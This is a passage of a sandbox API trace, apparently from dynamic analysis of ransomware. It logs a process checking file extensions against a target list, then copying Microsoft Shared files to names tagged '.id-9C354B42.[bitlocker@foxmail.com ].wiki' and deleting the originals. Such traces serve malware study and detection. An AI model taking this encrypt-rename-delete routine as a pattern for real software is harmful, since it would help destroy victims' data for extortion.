Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.937] lstrlenW (lpString=".zip") returned 4 [0194.937] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString=".rar") returned 4 [0194.937] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString=".bz2") returned 4 [0194.937] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.937] lstrlenW (lpString=".7z") returned 3 [0194.937] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.937] lstrlenW (lpString=".dbf") returned 4 [0194.937] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.937] lstrlenW (lpString=".1cd") returned 4 [0194.937] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.937] lstrlenW (lpString=".jpg") returned 4 [0194.937] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString=".doc") returned 4 [0194.938] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString=".docx") returned 5 [0194.938] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0194.938] lstrlenW (lpString=".pdf") returned 4 [0194.938] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString=".xls") returned 4 [0194.938] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString=".xlsx") returned 5 [0194.938] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0194.938] lstrlenW (lpString=".ppt") returned 4 [0194.938] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString=".zip") returned 4 [0194.938] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString=".rar") returned 4 [0194.938] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.938] lstrlenW (lpString=".bz2") returned 4 [0194.938] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.938] lstrlenW (lpString=".7z") returned 3 [0194.938] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString=".dbf") returned 4 [0194.938] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString=".1cd") returned 4 [0194.938] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.938] lstrlenW (lpString=".jpg") returned 4 [0194.938] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.939] lstrcmpiW (lpString1=".TLB", lpString2=".wiki") returned -1 [0194.939] lstrlenW (lpString="MSTAG.TLB") returned 9 [0194.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.939] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=13684) returned 1 [0194.939] CloseHandle (hObject=0x218) returned 1 [0194.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0194.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.940] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.940] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0194.940] GetLastError () returned 0x0 [0194.940] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x3574, lpOverlapped=0x0) returned 1 [0195.071] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x3580, lpOverlapped=0x0) returned 1 [0195.072] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.072] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0195.072] SetEndOfFile (hFile=0x1e4) returned 1 [0195.073] CloseHandle (hObject=0x1e4) returned 1 [0195.073] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.073] SetEndOfFile (hFile=0x218) returned 1 [0195.073] CloseHandle (hObject=0x218) returned 1 [0195.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.074] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 1 [0195.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.074] lstrlenW (lpString=".doc") returned 4 [0195.074] lstrcmpiW (lpString1=".doc", lpString2=".TLB") returned -1 [0195.074] lstrlenW (lpString=".docx") returned 5 [0195.074] lstrcmpiW (lpString1=".docx", lpString2="G.TLB") returned -1 [0195.074] lstrlenW (lpString=".pdf") returned 4 [0195.074] lstrcmpiW (lpString1=".pdf", lpString2=".TLB") returned -1 [0195.074] lstrlenW (lpString=".xls") returned 4 [0195.074] lstrcmpiW (lpString1=".xls", lpString2=".TLB") returned 1 [0195.074] lstrlenW (lpString=".xlsx") returned 5 [0195.074] lstrcmpiW (lpString1=".xlsx", lpString2="G.TLB") returned -1 [0195.074] lstrlenW (lpString=".ppt") returned 4 [0195.074] lstrcmpiW (lpString1=".ppt", lpString2=".TLB") returned -1 [0195.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.074] lstrlenW (lpString=".zip") returned 4 [0195.074] lstrcmpiW (lpString1=".zip", lpString2=".TLB") returned 1 [0195.074] lstrlenW (lpString=".rar") returned 4 [0195.074] lstrcmpiW (lpString1=".rar", lpString2=".TLB") returned -1 [0195.074] lstrlenW (lpString=".bz2") returned 4 [0195.074] lstrcmpiW (lpString1=".bz2", lpString2=".TLB") returned -1 [0195.074] lstrlenW (lpString=".7z") returned 3 [0195.074] lstrcmpiW (lpString1=".7z", lpString2="TLB") returned -1 [0195.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.074] lstrlenW (lpString=".dbf") returned 4 [0195.075] lstrcmpiW (lpString1=".dbf", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.075] lstrlenW (lpString=".1cd") returned 4 [0195.075] lstrcmpiW (lpString1=".1cd", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.075] lstrlenW (lpString=".jpg") returned 4 [0195.075] lstrcmpiW (lpString1=".jpg", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.075] lstrlenW (lpString=".doc") returned 4 [0195.075] lstrcmpiW (lpString1=".doc", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString=".docx") returned 5 [0195.075] lstrcmpiW (lpString1=".docx", lpString2="G.TLB") returned -1 [0195.075] lstrlenW (lpString=".pdf") returned 4 [0195.075] lstrcmpiW (lpString1=".pdf", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString=".xls") returned 4 [0195.075] lstrcmpiW (lpString1=".xls", lpString2=".TLB") returned 1 [0195.075] lstrlenW (lpString=".xlsx") returned 5 [0195.075] lstrcmpiW (lpString1=".xlsx", lpString2="G.TLB") returned -1 [0195.075] lstrlenW (lpString=".ppt") returned 4 [0195.075] lstrcmpiW (lpString1=".ppt", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.075] lstrlenW (lpString=".zip") returned 4 [0195.075] lstrcmpiW (lpString1=".zip", lpString2=".TLB") returned 1 [0195.075] lstrlenW (lpString=".rar") returned 4 [0195.075] lstrcmpiW (lpString1=".rar", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString=".bz2") returned 4 [0195.075] lstrcmpiW (lpString1=".bz2", lpString2=".TLB") returned -1 [0195.075] lstrlenW (lpString=".7z") returned 3 [0195.075] lstrcmpiW (lpString1=".7z", lpString2="TLB") returned -1 [0195.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.076] lstrlenW (lpString=".dbf") returned 4 [0195.076] lstrcmpiW (lpString1=".dbf", lpString2=".TLB") returned -1 [0195.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.076] lstrlenW (lpString=".1cd") returned 4 [0195.076] lstrcmpiW (lpString1=".1cd", lpString2=".TLB") returned -1 [0195.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0195.076] lstrlenW (lpString=".jpg") returned 4 [0195.076] lstrcmpiW (lpString1=".jpg", lpString2=".TLB") returned -1 [0195.076] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0195.076] lstrlenW (lpString="SmartTagInstall.exe") returned 19 [0195.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.076] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=15744) returned 1 [0195.076] CloseHandle (hObject=0x218) returned 1 [0195.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0195.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.077] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.077] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.117] GetLastError () returned 0x0 [0195.117] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x3d80, lpOverlapped=0x0) returned 1 [0195.121] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x3d90, lpOverlapped=0x0) returned 1 [0195.122] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.122] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0195.122] SetEndOfFile (hFile=0x1e4) returned 1 [0195.122] CloseHandle (hObject=0x1e4) returned 1 [0195.122] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.122] SetEndOfFile (hFile=0x218) returned 1 [0195.123] CloseHandle (hObject=0x218) returned 1 [0195.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.124] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 1 [0195.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.124] lstrlenW (lpString=".doc") returned 4 [0195.124] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.124] lstrlenW (lpString=".docx") returned 5 [0195.124] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0195.124] lstrlenW (lpString=".pdf") returned 4 [0195.124] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.124] lstrlenW (lpString=".xls") returned 4 [0195.124] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.124] lstrlenW (lpString=".xlsx") returned 5 [0195.124] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0195.124] lstrlenW (lpString=".ppt") returned 4 [0195.124] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.124] lstrlenW (lpString=".zip") returned 4 [0195.124] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.124] lstrlenW (lpString=".rar") returned 4 [0195.124] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.124] lstrlenW (lpString=".bz2") returned 4 [0195.124] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.124] lstrlenW (lpString=".7z") returned 3 [0195.124] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.124] lstrlenW (lpString=".dbf") returned 4 [0195.124] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString=".1cd") returned 4 [0195.125] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString=".jpg") returned 4 [0195.125] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString=".doc") returned 4 [0195.125] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.125] lstrlenW (lpString=".docx") returned 5 [0195.125] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0195.125] lstrlenW (lpString=".pdf") returned 4 [0195.125] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString=".xls") returned 4 [0195.125] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString=".xlsx") returned 5 [0195.125] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0195.125] lstrlenW (lpString=".ppt") returned 4 [0195.125] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString=".zip") returned 4 [0195.125] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString=".rar") returned 4 [0195.125] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.125] lstrlenW (lpString=".bz2") returned 4 [0195.125] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.125] lstrlenW (lpString=".7z") returned 3 [0195.125] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.125] lstrlenW (lpString=".dbf") returned 4 [0195.125] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.126] lstrlenW (lpString=".1cd") returned 4 [0195.126] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0195.126] lstrlenW (lpString=".jpg") returned 4 [0195.126] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.126] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0195.126] lstrlenW (lpString="OSE.EXE") returned 7 [0195.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.126] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=174440) returned 1 [0195.126] CloseHandle (hObject=0x218) returned 1 [0195.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0195.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.127] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.127] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.127] GetLastError () returned 0x0 [0195.127] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0195.132] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0195.136] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.136] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0195.136] SetEndOfFile (hFile=0x1e4) returned 1 [0195.136] CloseHandle (hObject=0x1e4) returned 1 [0195.136] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.136] SetEndOfFile (hFile=0x218) returned 1 [0195.138] CloseHandle (hObject=0x218) returned 1 [0195.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.138] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0195.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.138] lstrlenW (lpString=".doc") returned 4 [0195.138] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0195.138] lstrlenW (lpString=".docx") returned 5 [0195.138] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0195.138] lstrlenW (lpString=".pdf") returned 4 [0195.138] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0195.138] lstrlenW (lpString=".xls") returned 4 [0195.138] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString=".xlsx") returned 5 [0195.139] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0195.139] lstrlenW (lpString=".ppt") returned 4 [0195.139] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW (lpString=".zip") returned 4 [0195.139] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString=".rar") returned 4 [0195.139] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0195.139] lstrlenW (lpString=".bz2") returned 4 [0195.139] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0195.139] lstrlenW (lpString=".7z") returned 3 [0195.139] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW (lpString=".dbf") returned 4 [0195.139] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0195.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 68 [0195.139] lstrlenW 